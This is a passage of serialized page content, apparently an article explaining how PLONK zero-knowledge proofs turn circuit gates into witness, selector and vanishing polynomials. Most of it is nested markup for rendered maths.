",{"type":23,"tag":92,"props":141901,"children":141903},{"className":141902},[1183,1184],[141904],{"type":23,"tag":134,"props":141905,"children":141907},{"className":141906},[1189],[141908],{"type":23,"tag":134,"props":141909,"children":141911},{"className":141910,"ariaHidden":1195},[1194],[141912],{"type":23,"tag":134,"props":141913,"children":141915},{"className":141914},[1200],[141916,141920],{"type":23,"tag":134,"props":141917,"children":141919},{"className":141918,"style":109529},[1205],[],{"type":23,"tag":134,"props":141921,"children":141923},{"className":141922},[1211],[141924,141929],{"type":23,"tag":134,"props":141925,"children":141927},{"className":141926,"style":92559},[1211,21066],[141928],{"type":28,"value":93378},{"type":23,"tag":134,"props":141930,"children":141932},{"className":141931},[1228],[141933],{"type":23,"tag":134,"props":141934,"children":141936},{"className":141935},[1233,21120],[141937,141966],{"type":23,"tag":134,"props":141938,"children":141940},{"className":141939},[1238],[141941,141961],{"type":23,"tag":134,"props":141942,"children":141944},{"className":141943,"style":93088},[1243],[141945],{"type":23,"tag":134,"props":141946,"children":141947},{"style":109558},[141948,141952],{"type":23,"tag":134,"props":141949,"children":141951},{"className":141950,"style":1253},[1252],[],{"type":23,"tag":134,"props":141953,"children":141955},{"className":141954},[1258,1259,1260,1261],[141956],{"type":23,"tag":134,"props":141957,"children":141959},{"className":141958},[1211,21066,1261],[141960],{"type":28,"value":929},{"type":23,"tag":134,"props":141962,"children":141964},{"className":141963},[21223],[141965],{"type":28,"value":21226},{"type":23,"tag":134,"props":141967,"children":141969},{"className":141968},[1238],[141970],{"type":23,"tag":134,"props":141971,"children":141973},{"className":141972,"style":92642},[1243],[141974],{"type":23,"tag":134,"props":141975,"children":141976},{},[],{"type":28,"value":141978},", and output ",{"type":23,"tag":92,"props":141980,"children":141982},{"className":141981},[1183,1184],[141983],{"type":23,"tag":134,"props":141984,"children":141986},{"className":141985},[1189],[141987],{"type":23,"tag":134,"props":141988,"children":141990},{"className":141989,"ariaHidden":1195},[1194],[141991],{"type":23,"tag":134,"props":141992,"children":141994},{"className":141993},[1200],[141995,141999],{"type":23,"tag":134,"props":141996,"children":141998},{"className":141997,"style":109529},[1205],[],{"type":23,"tag":134,"props":142000,"children":142002},{"className":142001},[1211],[142003,142008],{"type":23,"tag":134,"props":142004,"children":142006},{"className":142005},[1211,21066],[142007],{"type":28,"value":92529},{"type":23,"tag":134,"props":142009,"children":142011},{"className":142010},[1228],[142012],{"type":23,"tag":134,"props":142013,"children":142015},{"className":142014},[1233,21120],[142016,142045],{"type":23,"tag":134,"props":142017,"children":142019},{"className":142018},[1238],[142020,142040],{"type":23,"tag":134,"props":142021,"children":142023},{"className":142022,"style":93088},[1243],[142024],{"type":23,"tag":134,"props":142025,"children":142026},{"style":92615},[142027,142031],{"type":23,"tag":134,"props":142028,"children":142030},{"className":142029,"style":1253},[1252],[],{"type":23,"tag":134,"props":142032,"children":142034},{"className":142033},[1258,1259,1260,1261],[142035],{"type":23,"tag":134,"props":142036,"children":142038},{"className":142037},[1211,21066,1261],[142039],{"type":28,"value":929},{"type":23,"tag":134,"props":142041,"children":142043},{"className":142042},[21223],[142044],{"type":28,"value":21226},{"type":23,"tag":134,"props":142046,"children":142048},{"className":142047},[1238],[142049],{"type":23,"tag":134,"props":142050,"children":142052},{"className":142051,"style":92642},[1243],[142053],{"type":23,"tag":134,"props":142054,"children":142055},{},[],{"type":28,"value":142057},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":23,"tag":24,"props":142059,"children":142060},{},[142061,142063,142068,142070,142174,142176,142279,142281,142286],{"type":28,"value":142062},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":23,"tag":55,"props":142064,"children":142065},{},[142066],{"type":28,"value":142067},"selector",{"type":28,"value":142069}," values that act as switches: setting ",{"type":23,"tag":92,"props":142071,"children":142073},{"className":142072},[1183,1184],[142074],{"type":23,"tag":134,"props":142075,"children":142077},{"className":142076},[1189],[142078],{"type":23,"tag":134,"props":142079,"children":142081},{"className":142080,"ariaHidden":1195},[1194],[142082,142161],{"type":23,"tag":134,"props":142083,"children":142085},{"className":142084},[1200],[142086,142090,142148,142152,142157],{"type":23,"tag":134,"props":142087,"children":142089},{"className":142088,"style":109449},[1205],[],{"type":23,"tag":134,"props":142091,"children":142093},{"className":142092},[1211],[142094,142099],{"type":23,"tag":134,"props":142095,"children":142097},{"className":142096,"style":93045},[1211,21066],[142098],{"type":28,"value":93048},{"type":23,"tag":134,"props":142100,"children":142102},{"className":142101},[1228],[142103],{"type":23,"tag":134,"props":142104,"children":142106},{"className":142105},[1233,21120],[142107,142137],{"type":23,"tag":134,"props":142108,"children":142110},{"className":142109},[1238],[142111,142132],{"type":23,"tag":134,"props":142112,"children":142115},{"className":142113,"style":142114},[1243],"height:0.3283em;",[142116],{"type":23,"tag":134,"props":142117,"children":142118},{"style":93092},[142119,142123],{"type":23,"tag":134,"props":142120,"children":142122},{"className":142121,"style":1253},[1252],[],{"type":23,"tag":134,"props":142124,"children":142126},{"className":142125},[1258,1259,1260,1261],[142127],{"type":23,"tag":134,"props":142128,"children":142130},{"className":142129,"style":94567},[1211,21066,1261],[142131],{"type":28,"value":94570},{"type":23,"tag":134,"props":142133,"children":142135},{"className":142134},[21223],[142136],{"type":28,"value":21226},{"type":23,"tag":134,"props":142138,"children":142140},{"className":142139},[1238],[142141],{"type":23,"tag":134,"props":142142,"children":142144},{"className":142143,"style":92642},[1243],[142145],{"type":23,"tag":134,"props":142146,"children":142147},{},[],{"type":23,"tag":134,"props":142149,"children":142151},{"className":142150,"style":1390},[1292],[],{"type":23,"tag":134,"props":142153,"children":142155},{"className":142154},[1395],[142156],{"type":28,"value":257},{"type":23,"tag":134,"props":142158,"children":142160},{"className":142159,"style":1390},[1292],[],{"type":23,"tag":134,"props":142162,"children":142164},{"className":142163},[1200],[142165,142169],{"type":23,"tag":134,"props":142166,"children":142168},{"className":142167,"style":93590},[1205],[],{"type":23,"tag":134,"props":142170,"children":142172},{"className":142171},[1211],[142173],{"type":28,"value":1214},{"type":28,"value":142175}," makes a row a multiplication gate, setting ",{"type":23,"tag":92,"props":142177,"children":142179},{"className":142178},[1183,1184],[142180],{"type":23,"tag":134,"props":142181,"children":142183},{"className":142182},[1189],[142184],{"type":23,"tag":134,"props":142185,"children":142187},{"className":142186,"ariaHidden":1195},[1194],[142188,142266],{"type":23,"tag":134,"props":142189,"children":142191},{"className":142190},[1200],[142192,142196,142253,142257,142262],{"type":23,"tag":134,"props":142193,"children":142195},{"className":142194,"style":109449},[1205],[],{"type":23,"tag":134,"props":142197,"children":142199},{"className":142198},[1211],[142200,142205],{"type":23,"tag":134,"props":142201,"children":142203},{"className":142202,"style":93045},[1211,21066],[142204],{"type":28,"value":93048},{"type":23,"tag":134,"props":142206,"children":142208},{"className":142207},[1228],[142209],{"type":23,"tag":134,"props":142210,"children":142212},{"className":142211},[1233,21120],[142213,142242],{"type":23,"tag":134,"props":142214,"children":142216},{"className":142215},[1238],[142217,142237],{"type":23,"tag":134,"props":142218,"children":142220},{"className":142219,"style":142114},[1243],[142221],{"type":23,"tag":134,"props":142222,"children":142223},{"style":93092},[142224,142228],{"type":23,"tag":134,"props":142225,"children":142227},{"className":142226,"style":1253},[1252],[],{"type":23,"tag":134,"props":142229,"children":142231},{"className":142230},[1258,1259,1260,1261],[142232],{"type":23,"tag":134,"props":142233,"children":142235},{"className":142234},[1211,21066,1261],[142236],{"type":28,"value":117523},{"type":23,"tag":134,"props":142238,"children":142240},{"className":142239},[21223],[142241],{"type":28,"value":21226},{"type":23,"tag":134,"props":142243,"children":142245},{"className":142244},[1238],[142246],{"type":23,"tag":134,"props":142247,"children":142249},{"className":142248,"style":92642},[1243],[142250],{"type":23,"tag":134,"props":142251,"children":142252},{},[],{"type":23,"tag":134,"props":142254,"children":142256},{"className":142255,"style":1390},[1292],[],{"type":23,"tag":134,"props":142258,"children":142260},{"className":142259},[1395],[142261],{"type":28,"value":257},{"type":23,"tag":134,"props":142263,"children":142265},{"className":142264,"style":1390},[1292],[],{"type":23,"tag":134,"props":142267,"children":142269},{"className":142268},[1200],[142270,142274],{"type":23,"tag":134,"props":142271,"children":142273},{"className":142272,"style":93590},[1205],[],{"type":23,"tag":134,"props":142275,"children":142277},{"className":142276},[1211],[142278],{"type":28,"value":1214},{"type":28,"value":142280}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":23,"tag":55,"props":142282,"children":142283},{},[142284],{"type":28,"value":142285},"permutation argument",{"type":28,"value":142287}," for that, which we will not cover here.",{"type":23,"tag":9072,"props":142289,"children":142291},{"id":142290},"from-many-checks-to-one",[142292],{"type":28,"value":142293},"From many checks to one",{"type":23,"tag":24,"props":142295,"children":142296},{},[142297,142299,142304,142305,142397,142398,142490,142491,142583,142585,142590,142591,142683,142684,142776,142778,142803,142805,142830,142832,142924,142926,142951,142953,142978],{"type":28,"value":142298},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":23,"tag":55,"props":142300,"children":142301},{},[142302],{"type":28,"value":142303},"witness polynomials",{"type":28,"value":5915},{"type":23,"tag":92,"props":142306,"children":142308},{"className":142307},[1183,1184],[142309],{"type":23,"tag":134,"props":142310,"children":142312},{"className":142311},[1189],[142313],{"type":23,"tag":134,"props":142314,"children":142316},{"className":142315,"ariaHidden":1195},[1194],[142317],{"type":23,"tag":134,"props":142318,"children":142320},{"className":142319},[1200],[142321,142325,142382,142387,142392],{"type":23,"tag":134,"props":142322,"children":142324},{"className":142323,"style":1313},[1205],[],{"type":23,"tag":134,"props":142326,"children":142328},{"className":142327},[1211],[142329,142334],{"type":23,"tag":134,"props":142330,"children":142332},{"className":142331,"style":94913},[1211,21066],[142333],{"type":28,"value":32581},{"type":23,"tag":134,"props":142335,"children":142337},{"className":142336},[1228],[142338],{"type":23,"tag":134,"props":142339,"children":142341},{"className":142340},[1233,21120],[142342,142371],{"type":23,"tag":134,"props":142343,"children":142345},{"className":142344},[1238],[142346,142366],{"type":23,"tag":134,"props":142347,"children":142349},{"className":142348,"style":142114},[1243],[142350],{"type":23,"tag":134,"props":142351,"children":142352},{"style":94934},[142353,142357],{"type":23,"tag":134,"props":142354,"children":142356},{"className":142355,"style":1253},[1252],[],{"type":23,"tag":134,"props":142358,"children":142360},{"className":142359},[1258,1259,1260,1261],[142361],{"type":23,"tag":134,"props":142362,"children":142364},{"className":142363},[1211,21066,1261],[142365],{"type":28,"value":117523},{"type":23,"tag":134,"props":142367,"children":142369},{"className":142368},[21223],[142370],{"type":28,"value":21226},{"type":23,"tag":134,"props":142372,"children":142374},{"className":142373},[1238],[142375],{"type":23,"tag":134,"props":142376,"children":142378},{"className":142377,"style":92642},[1243],[142379],{"type":23,"tag":134,"props":142380,"children":142381},{},[],{"type":23,"tag":134,"props":142383,"children":142385},{"className":142384},[21195],[142386],{"type":28,"value":272},{"type":23,"tag":134,"props":142388,"children":142390},{"className":142389},[1211,21066],[142391],{"type":28,"value":18752},{"type":23,"tag":134,"props":142393,"children":142395},{"className":142394},[21217],[142396],{"type":28,"value":296},{"type":28,"value":242},{"type":23,"tag":92,"props":142399,"children":142401},{"className":142400},[1183,1184],[142402],{"type":23,"tag":134,"props":142403,"children":142405},{"className":142404},[1189],[142406],{"type":23,"tag":134,"props":142407,"children":142409},{"className":142408,"ariaHidden":1195},[1194],[142410],{"type":23,"tag":134,"props":142411,"children":142413},{"className":142412},[1200],[142414,142418,142475,142480,142485],{"type":23,"tag":134,"props":142415,"children":142417},{"className":142416,"style":1313},[1205],[],{"type":23,"tag":134,"props":142419,"children":142421},{"className":142420},[1211],[142422,142427],{"type":23,"tag":134,"props":142423,"children":142425},{"className":142424,"style":94913},[1211,21066],[142426],{"type":28,"value":32581},{"type":23,"tag":134,"props":142428,"children":142430},{"className":142429},[1228],[142431],{"type":23,"tag":134,"props":142432,"children":142434},{"className":142433},[1233,21120],[142435,142464],{"type":23,"tag":134,"props":142436,"children":142438},{"className":142437},[1238],[142439,142459],{"type":23,"tag":134,"props":142440,"children":142442},{"className":142441,"style":142114},[1243],[142443],{"type":23,"tag":134,"props":142444,"children":142445},{"style":94934},[142446,142450],{"type":23,"tag":134,"props":142447,"children":142449},{"className":142448,"style":1253},[1252],[],{"type":23,"tag":134,"props":142451,"children":142453},{"className":142452},[1258,1259,1260,1261],[142454],{"type":23,"tag":134,"props":142455,"children":142457},{"className":142456,"style":122336},[1211,21066,1261],[142458],{"type":28,"value":122339},{"type":23,"tag":134,"props":142460,"children":142462},{"className":142461},[21223],[142463],{"type":28,"value":21226},{"type":23,"tag":134,"props":142465,"children":142467},{"className":142466},[1238],[142468],{"type":23,"tag":134,"props":142469,"children":142471},{"className":142470,"style":92642},[1243],[142472],{"type":23,"tag":134,"props":142473,"children":142474},{},[],{"type":23,"tag":134,"props":142476,"children":142478},{"className":142477},[21195],[142479],{"type":28,"value":272},{"type":23,"tag":134,"props":142481,"children":142483},{"className":142482},[1211,21066],[142484],{"type":28,"value":18752},{"type":23,"tag":134,"props":142486,"children":142488},{"className":142487},[21217],[142489],{"type":28,"value":296},{"type":28,"value":242},{"type":23,"tag":92,"props":142492,"children":142494},{"className":142493},[1183,1184],[142495],{"type":23,"tag":134,"props":142496,"children":142498},{"className":142497},[1189],[142499],{"type":23,"tag":134,"props":142500,"children":142502},{"className":142501,"ariaHidden":1195},[1194],[142503],{"type":23,"tag":134,"props":142504,"children":142506},{"className":142505},[1200],[142507,142511,142568,142573,142578],{"type":23,"tag":134,"props":142508,"children":142510},{"className":142509,"style":1313},[1205],[],{"type":23,"tag":134,"props":142512,"children":142514},{"className":142513},[1211],[142515,142520],{"type":23,"tag":134,"props":142516,"children":142518},{"className":142517,"style":94913},[1211,21066],[142519],{"type":28,"value":32581},{"type":23,"tag":134,"props":142521,"children":142523},{"className":142522},[1228],[142524],{"type":23,"tag":134,"props":142525,"children":142527},{"className":142526},[1233,21120],[142528,142557],{"type":23,"tag":134,"props":142529,"children":142531},{"className":142530},[1238],[142532,142552],{"type":23,"tag":134,"props":142533,"children":142535},{"className":142534,"style":142114},[1243],[142536],{"type":23,"tag":134,"props":142537,"children":142538},{"style":94934},[142539,142543],{"type":23,"tag":134,"props":142540,"children":142542},{"className":142541,"style":1253},[1252],[],{"type":23,"tag":134,"props":142544,"children":142546},{"className":142545},[1258,1259,1260,1261],[142547],{"type":23,"tag":134,"props":142548,"children":142550},{"className":142549,"style":92559},[1211,21066,1261],[142551],{"type":28,"value":114878},{"type":23,"tag":134,"props":142553,"children":142555},{"className":142554},[21223],[142556],{"type":28,"value":21226},{"type":23,"tag":134,"props":142558,"children":142560},{"className":142559},[1238],[142561],{"type":23,"tag":134,"props":142562,"children":142564},{"className":142563,"style":92642},[1243],[142565],{"type":23,"tag":134,"props":142566,"children":142567},{},[],{"type":23,"tag":134,"props":142569,"children":142571},{"className":142570},[21195],[142572],{"type":28,"value":272},{"type":23,"tag":134,"props":142574,"children":142576},{"className":142575},[1211,21066],[142577],{"type":28,"value":18752},{"type":23,"tag":134,"props":142579,"children":142581},{"className":142580},[21217],[142582],{"type":28,"value":296},{"type":28,"value":142584}," and the selectors become ",{"type":23,"tag":55,"props":142586,"children":142587},{},[142588],{"type":28,"value":142589},"selector polynomials",{"type":28,"value":5915},{"type":23,"tag":92,"props":142592,"children":142594},{"className":142593},[1183,1184],[142595],{"type":23,"tag":134,"props":142596,"children":142598},{"className":142597},[1189],[142599],{"type":23,"tag":134,"props":142600,"children":142602},{"className":142601,"ariaHidden":1195},[1194],[142603],{"type":23,"tag":134,"props":142604,"children":142606},{"className":142605},[1200],[142607,142611,142668,142673,142678],{"type":23,"tag":134,"props":142608,"children":142610},{"className":142609,"style":1313},[1205],[],{"type":23,"tag":134,"props":142612,"children":142614},{"className":142613},[1211],[142615,142620],{"type":23,"tag":134,"props":142616,"children":142618},{"className":142617},[1211,21066],[142619],{"type":28,"value":76314},{"type":23,"tag":134,"props":142621,"children":142623},{"className":142622},[1228],[142624],{"type":23,"tag":134,"props":142625,"children":142627},{"className":142626},[1233,21120],[142628,142657],{"type":23,"tag":134,"props":142629,"children":142631},{"className":142630},[1238],[142632,142652],{"type":23,"tag":134,"props":142633,"children":142635},{"className":142634,"style":142114},[1243],[142636],{"type":23,"tag":134,"props":142637,"children":142638},{"style":92615},[142639,142643],{"type":23,"tag":134,"props":142640,"children":142642},{"className":142641,"style":1253},[1252],[],{"type":23,"tag":134,"props":142644,"children":142646},{"className":142645},[1258,1259,1260,1261],[142647],{"type":23,"tag":134,"props":142648,"children":142650},{"className":142649,"style":94567},[1211,21066,1261],[142651],{"type":28,"value":94570},{"type":23,"tag":134,"props":142653,"children":142655},{"className":142654},[21223],[142656],{"type":28,"value":21226},{"type":23,"tag":134,"props":142658,"children":142660},{"className":142659},[1238],[142661],{"type":23,"tag":134,"props":142662,"children":142664},{"className":142663,"style":92642},[1243],[142665],{"type":23,"tag":134,"props":142666,"children":142667},{},[],{"type":23,"tag":134,"props":142669,"children":142671},{"className":142670},[21195],[142672],{"type":28,"value":272},{"type":23,"tag":134,"props":142674,"children":142676},{"className":142675},[1211,21066],[142677],{"type":28,"value":18752},{"type":23,"tag":134,"props":142679,"children":142681},{"className":142680},[21217],[142682],{"type":28,"value":296},{"type":28,"value":242},{"type":23,"tag":92,"props":142685,"children":142687},{"className":142686},[1183,1184],[142688],{"type":23,"tag":134,"props":142689,"children":142691},{"className":142690},[1189],[142692],{"type":23,"tag":134,"props":142693,"children":142695},{"className":142694,"ariaHidden":1195},[1194],[142696],{"type":23,"tag":134,"props":142697,"children":142699},{"className":142698},[1200],[142700,142704,142761,142766,142771],{"type":23,"tag":134,"props":142701,"children":142703},{"className":142702,"style":1313},[1205],[],{"type":23,"tag":134,"props":142705,"children":142707},{"className":142706},[1211],[142708,142713],{"type":23,"tag":134,"props":142709,"children":142711},{"className":142710},[1211,21066],[142712],{"type":28,"value":76314},{"type":23,"tag":134,"props":142714,"children":142716},{"className":142715},[1228],[142717],{"type":23,"tag":134,"props":142718,"children":142720},{"className":142719},[1233,21120],[142721,142750],{"type":23,"tag":134,"props":142722,"children":142724},{"className":142723},[1238],[142725,142745],{"type":23,"tag":134,"props":142726,"children":142728},{"className":142727,"style":142114},[1243],[142729],{"type":23,"tag":134,"props":142730,"children":142731},{"style":92615},[142732,142736],{"type":23,"tag":134,"props":142733,"children":142735},{"className":142734,"style":1253},[1252],[],{"type":23,"tag":134,"props":142737,"children":142739},{"className":142738},[1258,1259,1260,1261],[142740],{"type":23,"tag":134,"props":142741,"children":142743},{"className":142742},[1211,21066,1261],[142744],{"type":28,"value":117523},{"type":23,"tag":134,"props":142746,"children":142748},{"className":142747},[21223],[142749],{"type":28,"value":21226},{"type":23,"tag":134,"props":142751,"children":142753},{"className":142752},[1238],[142754],{"type":23,"tag":134,"props":142755,"children":142757},{"className":142756,"style":92642},[1243],[142758],{"type":23,"tag":134,"props":142759,"children":142760},{},[],{"type":23,"tag":134,"props":142762,"children":142764},{"className":142763},[21195],[142765],{"type":28,"value":272},{"type":23,"tag":134,"props":142767,"children":142769},{"className":142768},[1211,21066],[142770],{"type":28,"value":18752},{"type":23,"tag":134,"props":142772,"children":142774},{"className":142773},[21217],[142775],{"type":28,"value":296},{"type":28,"value":142777},", etc., all interpolated over a domain ",{"type":23,"tag":92,"props":142779,"children":142781},{"className":142780},[1183,1184],[142782],{"type":23,"tag":134,"props":142783,"children":142785},{"className":142784},[1189],[142786],{"type":23,"tag":134,"props":142787,"children":142789},{"className":142788,"ariaHidden":1195},[1194],[142790],{"type":23,"tag":134,"props":142791,"children":142793},{"className":142792},[1200],[142794,142798],{"type":23,"tag":134,"props":142795,"children":142797},{"className":142796,"style":21061},[1205],[],{"type":23,"tag":134,"props":142799,"children":142801},{"className":142800,"style":92793},[1211,21066],[142802],{"type":28,"value":92796},{"type":28,"value":142804}," of ",{"type":23,"tag":92,"props":142806,"children":142808},{"className":142807},[1183,1184],[142809],{"type":23,"tag":134,"props":142810,"children":142812},{"className":142811},[1189],[142813],{"type":23,"tag":134,"props":142814,"children":142816},{"className":142815,"ariaHidden":1195},[1194],[142817],{"type":23,"tag":134,"props":142818,"children":142820},{"className":142819},[1200],[142821,142825],{"type":23,"tag":134,"props":142822,"children":142824},{"className":142823,"style":110400},[1205],[],{"type":23,"tag":134,"props":142826,"children":142828},{"className":142827},[1211,21066],[142829],{"type":28,"value":55910},{"type":28,"value":142831},"-th roots of unity. Evaluating ",{"type":23,"tag":92,"props":142833,"children":142835},{"className":142834},[1183,1184],[142836],{"type":23,"tag":134,"props":142837,"children":142839},{"className":142838},[1189],[142840],{"type":23,"tag":134,"props":142841,"children":142843},{"className":142842,"ariaHidden":1195},[1194],[142844],{"type":23,"tag":134,"props":142845,"children":142847},{"className":142846},[1200],[142848,142852,142909,142914,142919],{"type":23,"tag":134,"props":142849,"children":142851},{"className":142850,"style":1313},[1205],[],{"type":23,"tag":134,"props":142853,"children":142855},{"className":142854},[1211],[142856,142861],{"type":23,"tag":134,"props":142857,"children":142859},{"className":142858,"style":94913},[1211,21066],[142860],{"type":28,"value":32581},{"type":23,"tag":134,"props":142862,"children":142864},{"className":142863},[1228],[142865],{"type":23,"tag":134,"props":142866,"children":142868},{"className":142867},[1233,21120],[142869,142898],{"type":23,"tag":134,"props":142870,"children":142872},{"className":142871},[1238],[142873,142893],{"type":23,"tag":134,"props":142874,"children":142876},{"className":142875,"style":142114},[1243],[142877],{"type":23,"tag":134,"props":142878,"children":142879},{"style":94934},[142880,142884],{"type":23,"tag":134,"props":142881,"children":142883},{"className":142882,"style":1253},[1252],[],{"type":23,"tag":134,"props":142885,"children":142887},{"className":142886},[1258,1259,1260,1261],[142888],{"type":23,"tag":134,"props":142889,"children":142891},{"className":142890},[1211,21066,1261],[142892],{"type":28,"value":117523},{"type":23,"tag":134,"props":142894,"children":142896},{"className":142895},[21223],[142897],{"type":28,"value":21226},{"type":23,"tag":134,"props":142899,"children":142901},{"className":142900},[1238],[142902],{"type":23,"tag":134,"props":142903,"children":142905},{"className":142904,"style":92642},[1243],[142906],{"type":23,"tag":134,"props":142907,"children":142908},{},[],{"type":23,"tag":134,"props":142910,"children":142912},{"className":142911},[21195],[142913],{"type":28,"value":272},{"type":23,"tag":134,"props":142915,"children":142917},{"className":142916},[1211,21066],[142918],{"type":28,"value":18752},{"type":23,"tag":134,"props":142920,"children":142922},{"className":142921},[21217],[142923],{"type":28,"value":296},{"type":28,"value":142925}," at the ",{"type":23,"tag":92,"props":142927,"children":142929},{"className":142928},[1183,1184],[142930],{"type":23,"tag":134,"props":142931,"children":142933},{"className":142932},[1189],[142934],{"type":23,"tag":134,"props":142935,"children":142937},{"className":142936,"ariaHidden":1195},[1194],[142938],{"type":23,"tag":134,"props":142939,"children":142941},{"className":142940},[1200],[142942,142946],{"type":23,"tag":134,"props":142943,"children":142945},{"className":142944,"style":141810},[1205],[],{"type":23,"tag":134,"props":142947,"children":142949},{"className":142948},[1211,21066],[142950],{"type":28,"value":929},{"type":28,"value":142952},"-th root recovers the left wire value at row ",{"type":23,"tag":92,"props":142954,"children":142956},{"className":142955},[1183,1184],[142957],{"type":23,"tag":134,"props":142958,"children":142960},{"className":142959},[1189],[142961],{"type":23,"tag":134,"props":142962,"children":142964},{"className":142963,"ariaHidden":1195},[1194],[142965],{"type":23,"tag":134,"props":142966,"children":142968},{"className":142967},[1200],[142969,142973],{"type":23,"tag":134,"props":142970,"children":142972},{"className":142971,"style":141810},[1205],[],{"type":23,"tag":134,"props":142974,"children":142976},{"className":142975},[1211,21066],[142977],{"type":28,"value":929},{"type":28,"value":720},{"type":23,"tag":142980,"props":142981,"children":142982},"polynomial-interpolation-panel",{},[],{"type":23,"tag":24,"props":142984,"children":142985},{},[142986,142988,143028,143030,143096,143098,143228,143230,143270,143272,143312,143314,143354,143355,143477],{"type":28,"value":142987},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":23,"tag":92,"props":142989,"children":142991},{"className":142990},[1183,1184],[142992],{"type":23,"tag":134,"props":142993,"children":142995},{"className":142994},[1189],[142996],{"type":23,"tag":134,"props":142997,"children":142999},{"className":142998,"ariaHidden":1195},[1194],[143000],{"type":23,"tag":134,"props":143001,"children":143003},{"className":143002},[1200],[143004,143008,143013,143018,143023],{"type":23,"tag":134,"props":143005,"children":143007},{"className":143006,"style":1313},[1205],[],{"type":23,"tag":134,"props":143009,"children":143011},{"className":143010,"style":21067},[1211,21066],[143012],{"type":28,"value":121337},{"type":23,"tag":134,"props":143014,"children":143016},{"className":143015},[21195],[143017],{"type":28,"value":272},{"type":23,"tag":134,"props":143019,"children":143021},{"className":143020},[1211,21066],[143022],{"type":28,"value":18752},{"type":23,"tag":134,"props":143024,"children":143026},{"className":143025},[21217],[143027],{"type":28,"value":296},{"type":28,"value":143029}," that combines selectors and witnesses. If the prover was honest, ",{"type":23,"tag":92,"props":143031,"children":143033},{"className":143032},[1183,1184],[143034],{"type":23,"tag":134,"props":143035,"children":143037},{"className":143036},[1189],[143038],{"type":23,"tag":134,"props":143039,"children":143041},{"className":143040,"ariaHidden":1195},[1194],[143042,143083],{"type":23,"tag":134,"props":143043,"children":143045},{"className":143044},[1200],[143046,143050,143055,143060,143065,143070,143074,143079],{"type":23,"tag":134,"props":143047,"children":143049},{"className":143048,"style":1313},[1205],[],{"type":23,"tag":134,"props":143051,"children":143053},{"className":143052,"style":21067},[1211,21066],[143054],{"type":28,"value":121337},{"type":23,"tag":134,"props":143056,"children":143058},{"className":143057},[21195],[143059],{"type":28,"value":272},{"type":23,"tag":134,"props":143061,"children":143063},{"className":143062},[1211,21066],[143064],{"type":28,"value":18752},{"type":23,"tag":134,"props":143066,"children":143068},{"className":143067},[21217],[143069],{"type":28,"value":296},{"type":23,"tag":134,"props":143071,"children":143073},{"className":143072,"style":1390},[1292],[],{"type":23,"tag":134,"props":143075,"children":143077},{"className":143076},[1395],[143078],{"type":28,"value":257},{"type":23,"tag":134,"props":143080,"children":143082},{"className":143081,"style":1390},[1292],[],{"type":23,"tag":134,"props":143084,"children":143086},{"className":143085},[1200],[143087,143091],{"type":23,"tag":134,"props":143088,"children":143090},{"className":143089,"style":93590},[1205],[],{"type":23,"tag":134,"props":143092,"children":143094},{"className":143093},[1211],[143095],{"type":28,"value":1224},{"type":28,"value":143097}," at every row index in the domain. The vanishing polynomial ",{"type":23,"tag":92,"props":143099,"children":143101},{"className":143100},[1183,1184],[143102],{"type":23,"tag":134,"props":143103,"children":143105},{"className":143104},[1189],[143106],{"type":23,"tag":134,"props":143107,"children":143109},{"className":143108,"ariaHidden":1195},[1194],[143110,143152,143215],{"type":23,"tag":134,"props":143111,"children":143113},{"className":143112},[1200],[143114,143118,143124,143129,143134,143139,143143,143148],{"type":23,"tag":134,"props":143115,"children":143117},{"className":143116,"style":1313},[1205],[],{"type":23,"tag":134,"props":143119,"children":143121},{"className":143120,"style":21598},[1211,21066],[143122],{"type":28,"value":143123},"Z",{"type":23,"tag":134,"props":143125,"children":143127},{"className":143126},[21195],[143128],{"type":28,"value":272},{"type":23,"tag":134,"props":143130,"children":143132},{"className":143131},[1211,21066],[143133],{"type":28,"value":18752},{"type":23,"tag":134,"props":143135,"children":143137},{"className":143136},[21217],[143138],{"type":28,"value":296},{"type":23,"tag":134,"props":143140,"children":143142},{"className":143141,"style":1390},[1292],[],{"type":23,"tag":134,"props":143144,"children":143146},{"className":143145},[1395],[143147],{"type":28,"value":257},{"type":23,"tag":134,"props":143149,"children":143151},{"className":143150,"style":1390},[1292],[],{"type":23,"tag":134,"props":143153,"children":143155},{"className":143154},[1200],[143156,143161,143202,143206,143211],{"type":23,"tag":134,"props":143157,"children":143160},{"className":143158,"style":143159},[1205],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":23,"tag":134,"props":143162,"children":143164},{"className":143163},[1211],[143165,143170],{"type":23,"tag":134,"props":143166,"children":143168},{"className":143167},[1211,21066],[143169],{"type":28,"value":18752},{"type":23,"tag":134,"props":143171,"children":143173},{"className":143172},[1228],[143174],{"type":23,"tag":134,"props":143175,"children":143177},{"className":143176},[1233],[143178],{"type":23,"tag":134,"props":143179,"children":143181},{"className":143180},[1238],[143182],{"type":23,"tag":134,"props":143183,"children":143185},{"className":143184,"style":108276},[1243],[143186],{"type":23,"tag":134,"props":143187,"children":143188},{"style":1247},[143189,143193],{"type":23,"tag":134,"props":143190,"children":143192},{"className":143191,"style":1253},[1252],[],{"type":23,"tag":134,"props":143194,"children":143196},{"className":143195},[1258,1259,1260,1261],[143197],{"type":23,"tag":134,"props":143198,"children":143200},{"className":143199},[1211,21066,1261],[143201],{"type":28,"value":55910},{"type":23,"tag":134,"props":143203,"children":143205},{"className":143204,"style":1293},[1292],[],{"type":23,"tag":134,"props":143207,"children":143209},{"className":143208},[1298],[143210],{"type":28,"value":1272},{"type":23,"tag":134,"props":143212,"children":143214},{"className":143213,"style":1293},[1292],[],{"type":23,"tag":134,"props":143216,"children":143218},{"className":143217},[1200],[143219,143223],{"type":23,"tag":134,"props":143220,"children":143222},{"className":143221,"style":93590},[1205],[],{"type":23,"tag":134,"props":143224,"children":143226},{"className":143225},[1211],[143227],{"type":28,"value":1214},{"type":28,"value":143229}," is zero on exactly those points, so if all constraints hold then 